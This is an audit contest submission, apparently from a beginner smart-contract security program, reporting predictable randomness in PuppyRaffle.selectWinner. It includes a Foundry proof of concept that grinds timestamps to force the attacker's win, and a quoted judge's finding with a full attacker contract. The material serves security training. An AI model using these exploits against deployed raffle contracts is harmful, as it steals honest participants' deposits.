Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Weak Randomness in PuppyRaffle: selectWinner Allows Attacker to Force a Win to Self

angmarwitchking

Root + Impact

PuppyRaffle.selectWinner derives the winner from values fully knowable to the caller before the call itself. "msg.sender" is attacker-chosen (the function is permissionless), "block.timestamp" and "block.difficulty" are readable from the current block, and "players.length" is public state. Because every input is known in advance, the “random” winner index is deterministically predictable. An attacker who has entered the raffle can compute the result for any block and call "selectWinner" only when it names their own index — forcing their own win.


Description

// The selectWinner function.
function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
​
// The portion of code that shows the attacker where to target
uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
​

Risk

Likelihood:

High. The winner is computable before the call, so the attacker never gambles — they discard unfavorable blocks for free and only call on one where they’ve already computed a win (a certainty, not a probability; the ~1/N “odds” merely set how many free attempts they sift through). Prediction costs nothing, and the entry fee is negligible against the return.


Impact:

The attacker wins the prize pool — 80% of all entrance fees — on every targeted raffle, deterministically instead of with the intended 1/N probability. With N players at fee E, the attacker collects 0.8 x N x E for a single entry of E, netting E x (0.8N - 1) — e.g. +2.2E at the 4-player minimum (3.2e18 won against a 1e18 entry), plus the minted NFT, scaling with pool size. Every honest participant loses their deposit, and the raffle’s fairness is entirely broken. The attack is strictly profitable for any raffle that can resolve (≥4 players).

Proof of Concept

The Proof of Concept below captures the predictability portion and then the forced win; both pass.

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
​
import {Test, console} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
​
contract PuppyRaffleRandomnessTest is Test {
PuppyRaffle puppyRaffle;
uint256 entranceFee = 1e18;
address feeAddress = address(0x2);
uint256 duration = 1 days;
​
function setUp() public {
puppyRaffle = new PuppyRaffle(entranceFee, feeAddress, duration);
}
​
function test_winnerIsPredictable() public {
// four players; "attacker" is just the caller here — anyone can be
address attacker = makeAddr("attacker");
address[] memory players = new address[](4);
players[0] = attacker;
players[1] = makeAddr("playerTwo");
players[2] = makeAddr("playerThree");
players[3] = makeAddr("playerFour");
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
​
vm.warp(block.timestamp + duration + 1); // past the time guard
​
// compute the winner BEFORE calling, using the exact inputs the contract will see
uint256 predicted =
uint256(keccak256(abi.encodePacked(attacker, block.timestamp, block.difficulty))) % players.length;
​
vm.prank(attacker);
puppyRaffle.selectWinner();
​
// outcome matches our precomputation => the "random" winner is fully predictable
assertEq(puppyRaffle.previousWinner(), players[predicted]);
}
​
function test_selectWinnerRandomness() public {
address attacker = makeAddr("attacker");
address[] memory players = new address[](4);
players[0] = attacker; // attacker at index 0
players[1] = makeAddr("playerTwo");
players[2] = makeAddr("playerThree");
players[3] = makeAddr("playerFour");
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
​
vm.warp(block.timestamp + duration + 1); // past the time guard, once
​
// grind the timestamp until the attacker (index 0) is the computed winner
while (
uint256(keccak256(abi.encodePacked(attacker, block.timestamp, block.difficulty))) % players.length != 0
) {
vm.warp(block.timestamp + 1);
}
​
vm.prank(attacker);
puppyRaffle.selectWinner(); // the ONLY call
​
assertEq(puppyRaffle.previousWinner(), attacker);
}
}
​
Predictability Output:
forge test --match-test test_winnerIsPredictable -vvvv
​
Ran 1 test for test/Randomness.t.sol:PuppyRaffleRandomnessTest
[PASS] test_winnerIsPredictable() (gas: 388440)
Traces:
├─ [251923] PuppyRaffle::selectWinner()
│ ├─ [0] playerTwo::receive{value: 3200000000000000000}()
│ │ └─ ← [Stop]
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: playerTwo: [0xDbD718E43b80f726372c27aD8Cb6f43a45739a7C], tokenId: 0)
│ └─ ← [Stop]
├─ [1158] PuppyRaffle::previousWinner() [staticcall]
│ └─ ← [Return] playerTwo: [0xDbD718E43b80f726372c27aD8Cb6f43a45739a7C]
└─ ← [Stop]
​
​
​
​
Forced Win Output:
forge test --match-test test_selectWinnerRandomness -vvvv
​
Ran 1 test for test/Randomness.t.sol:PuppyRaffleRandomnessTest
[PASS] test_selectWinnerRandomness() (gas: 365938)
Traces:
├─ [226923] PuppyRaffle::selectWinner()
│ ├─ [0] attacker::receive{value: 3200000000000000000}()
│ │ └─ ← [Stop]
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], tokenId: 0)
│ └─ ← [Stop]
├─ [1158] PuppyRaffle::previousWinner() [staticcall]
│ └─ ← [Return] attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]
└─ ← [Stop]
​

Recommended Mitigation

On-chain value (block.timestamp, block.difficulty, msg.sender) cannot produce secure randomness, because they are all known to the caller at call time — combining more of them does not help. Replace the inline randomness with a verifiable external source such as Chainlink VRF.

A commit-reveal scheme is an alternative but carries last-revealer-withholding risk. Note that Chainlink’s VRF consumer contracts target Solidity ≥0.8, so adopting VRF also requires bumping the compiler from 0.7.6.

Because VRF is asynchronous, selectWinner must be split into a request function and the VRF fulfillment callback, with winner selection and payout moved into the callback:

// Conceptual — full integration requires inheriting VRFConsumerBaseV2,
// a funded subscription, and coordinator/keyHash configuration.
​
function requestWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "Raffle not over");
require(players.length >= 4, "Need at least 4 players");
i_vrfCoordinator.requestRandomWords(keyHash, subId, confirmations, gasLimit, 1);
}
​
function fulfillRandomWords(uint256, uint256[] memory randomWords) internal override {
uint256 winnerIndex = randomWords[0] % players.length; // verifiable, unpredictable
// ...existing 80/20 split, prize transfer, _safeMint, delete players, reset...
​
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!